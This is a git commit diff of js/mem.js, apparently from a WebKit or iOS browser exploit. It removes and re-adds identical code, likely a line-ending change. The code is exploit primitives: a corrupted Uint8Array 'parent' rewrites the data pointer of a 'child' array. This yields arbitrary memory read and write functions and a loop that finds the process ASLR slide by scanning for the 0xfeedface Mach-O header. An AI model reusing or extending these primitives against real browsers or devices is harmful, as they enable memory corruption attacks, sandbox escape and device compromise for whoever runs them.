function all the things

1 files changed, 147 insertions, 147 deletions

diff --git a/js/mem.js b/js/mem.js
index 20d5b5d..c342707 100644
--- a/js/mem.js
+++ b/js/mem.js
@@ -1,147 +1,147 @@
-var VECTOR_OFFSET = 0x10;

-

-/*

- *  read uint8_t

- */

-function read_u8(addy) {

-	u8x4 = u32_to_u8x4(addy);

-

-	/*

-	 *  `parent` is a Uint8Array of length 0x100.

-	 *  `child` is also a Uint8Array of length 0x100.

-	 *  `parent`'s `vector`, its pointer to where its data is stored, has been

-	 *  modified to point to the `child` object in memory.

-	 *  as such, accessing `parent` will allow for modifying the `child` object.

-	 *  

-	 *  the way this is used is by writing to `child`'s `vector` so it points to

-	 *  arbitrary memory. then, we can access `child`, and we now have arbitrary

-	 *  r/w

-	 */

-

-	parent[VECTOR_OFFSET + 0x0] = u8x4[0];

-	parent[VECTOR_OFFSET + 0x1] = u8x4[1];

-	parent[VECTOR_OFFSET + 0x2] = u8x4[2];

-	parent[VECTOR_OFFSET + 0x3] = u8x4[3];

-

-	return child[0];

-}

-

-/*

- *  read uint16_t

- */

-function read_u16(addy) {

-	u8x4 = u32_to_u8x4(addy);

-

-	parent[VECTOR_OFFSET + 0x0] = u8x4[0];

-	parent[VECTOR_OFFSET + 0x1] = u8x4[1];

-	parent[VECTOR_OFFSET + 0x2] = u8x4[2];

-	parent[VECTOR_OFFSET + 0x3] = u8x4[3];

-

-	return u8x2_to_u16(child);

-

-}

-

-/*

- *  read uint32_t

- */

-function read_u32(addy) {

-	u8x4 = u32_to_u8x4(addy);

-

-	parent[VECTOR_OFFSET + 0x0] = u8x4[0];

-	parent[VECTOR_OFFSET + 0x1] = u8x4[1];

-	parent[VECTOR_OFFSET + 0x2] = u8x4[2];

-	parent[VECTOR_OFFSET + 0x3] = u8x4[3];

-

-	return u8x4_to_u32(child);

-}

-

-/*

- *  read a buffer

- */

-function read_buf(addy, len) {

-	var buf = new Uint8Array(len);

-

-	for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {

-		buf[cur_addy - addy] = read_u8(cur_addy);

-	}

-

-	return buf;

-}

-

-/*

- *  write a buffer

- */

-function write_buf(addy, buf, len) {

-	for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {

-		write_u8(cur_addy, buf[cur_addy - addy]);

-	}

-

-	return buf;

-}

-

-/*

- *  write uint8_t

- */

-function write_u8(addy, what) {

-	u8x4 = u32_to_u8x4(addy);

-

-	parent[VECTOR_OFFSET + 0x0] = u8x4[0];

-	parent[VECTOR_OFFSET + 0x1] = u8x4[1];

-	parent[VECTOR_OFFSET + 0x2] = u8x4[2];

-	parent[VECTOR_OFFSET + 0x3] = u8x4[3];

-

-	child[0] = what;

-}

-

-/*

- *  write uint16_t

- */

-function write_u16(addy, what) {

-	u8x4 = u32_to_u8x4(addy);

-

-	parent[VECTOR_OFFSET + 0x0] = u8x4[0];

-	parent[VECTOR_OFFSET + 0x1] = u8x4[1];

-	parent[VECTOR_OFFSET + 0x2] = u8x4[2];

-	parent[VECTOR_OFFSET + 0x3] = u8x4[3];

-

-	u8x2 = u16_to_u8x2(what);

-	child[0] = u8x2[0];

-	child[1] = u8x2[1];

-}

-

-/*

- *  write uint32_t

- */

-function write_u32(addy, what) {

-	u8x4 = u32_to_u8x4(addy);

-

-	parent[VECTOR_OFFSET + 0x0] = u8x4[0];

-	parent[VECTOR_OFFSET + 0x1] = u8x4[1];

-	parent[VECTOR_OFFSET + 0x2] = u8x4[2];

-	parent[VECTOR_OFFSET + 0x3] = u8x4[3];

-

-	u8x4 = u32_to_u8x4(what);

-	child[0] = u8x4[0];

-	child[1] = u8x4[1];

-	child[2] = u8x4[2];

-	child[3] = u8x4[3];

-}

-

-/*

- *  get process slide

- */

-function get_our_slide() {

-	for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) {

-		if (read_u32((slide << 12) + 0x4000) == 0xfeedface) {

-			return slide;

-		}

-	}

-}

-

-function write_str(addy, s) {

-	for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) {

-		write_u8(cur_addy, s.charCodeAt(cur_addy - addy));

-	}

-

-	return s;

-}

+var VECTOR_OFFSET = 0x10;
+
+/*
+ *  read uint8_t
+ */
+function read_u8(addy) {
+	u8x4 = u32_to_u8x4(addy);
+
+	/*
+	 *  `parent` is a Uint8Array of length 0x100.
+	 *  `child` is also a Uint8Array of length 0x100.
+	 *  `parent`'s `vector`, its pointer to where its data is stored, has been
+	 *  modified to point to the `child` object in memory.
+	 *  as such, accessing `parent` will allow for modifying the `child` object.
+	 *  
+	 *  the way this is used is by writing to `child`'s `vector` so it points to
+	 *  arbitrary memory. then, we can access `child`, and we now have arbitrary
+	 *  r/w
+	 */
+
+	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+	parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+	return child[0];
+}
+
+/*
+ *  read uint16_t
+ */
+function read_u16(addy) {
+	u8x4 = u32_to_u8x4(addy);
+
+	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+	parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+	return u8x2_to_u16(child);
+
+}
+
+/*
+ *  read uint32_t
+ */
+function read_u32(addy) {
+	u8x4 = u32_to_u8x4(addy);
+
+	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+	parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+	return u8x4_to_u32(child);
+}
+
+/*
+ *  read a buffer
+ */
+function read_buf(addy, len) {
+	var buf = new Uint8Array(len);
+
+	for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
+		buf[cur_addy - addy] = read_u8(cur_addy);
+	}
+
+	return buf;
+}
+
+/*
+ *  write a buffer
+ */
+function write_buf(addy, buf, len) {
+	for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
+		write_u8(cur_addy, buf[cur_addy - addy]);
+	}
+
+	return buf;
+}
+
+/*
+ *  write uint8_t
+ */
+function write_u8(addy, what) {
+	u8x4 = u32_to_u8x4(addy);
+
+	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+	parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+	child[0] = what;
+}
+
+/*
+ *  write uint16_t
+ */
+function write_u16(addy, what) {
+	u8x4 = u32_to_u8x4(addy);
+
+	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+	parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+	u8x2 = u16_to_u8x2(what);
+	child[0] = u8x2[0];
+	child[1] = u8x2[1];
+}
+
+/*
+ *  write uint32_t
+ */
+function write_u32(addy, what) {
+	u8x4 = u32_to_u8x4(addy);
+
+	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+	parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+	u8x4 = u32_to_u8x4(what);
+	child[0] = u8x4[0];
+	child[1] = u8x4[1];
+	child[2] = u8x4[2];
+	child[3] = u8x4[3];
+}
+
+/*
+ *  get process slide
+ */
+function get_our_slide() {
+	for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) {
+		if (read_u32((slide << 12) + 0x4000) == 0xfeedface) {
+			return slide;
+		}
+	}
+}
+
+function write_str(addy, s) {
+	for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) {
+		write_u8(cur_addy, s.charCodeAt(cur_addy - addy));
+	}
+
+	return s;
+}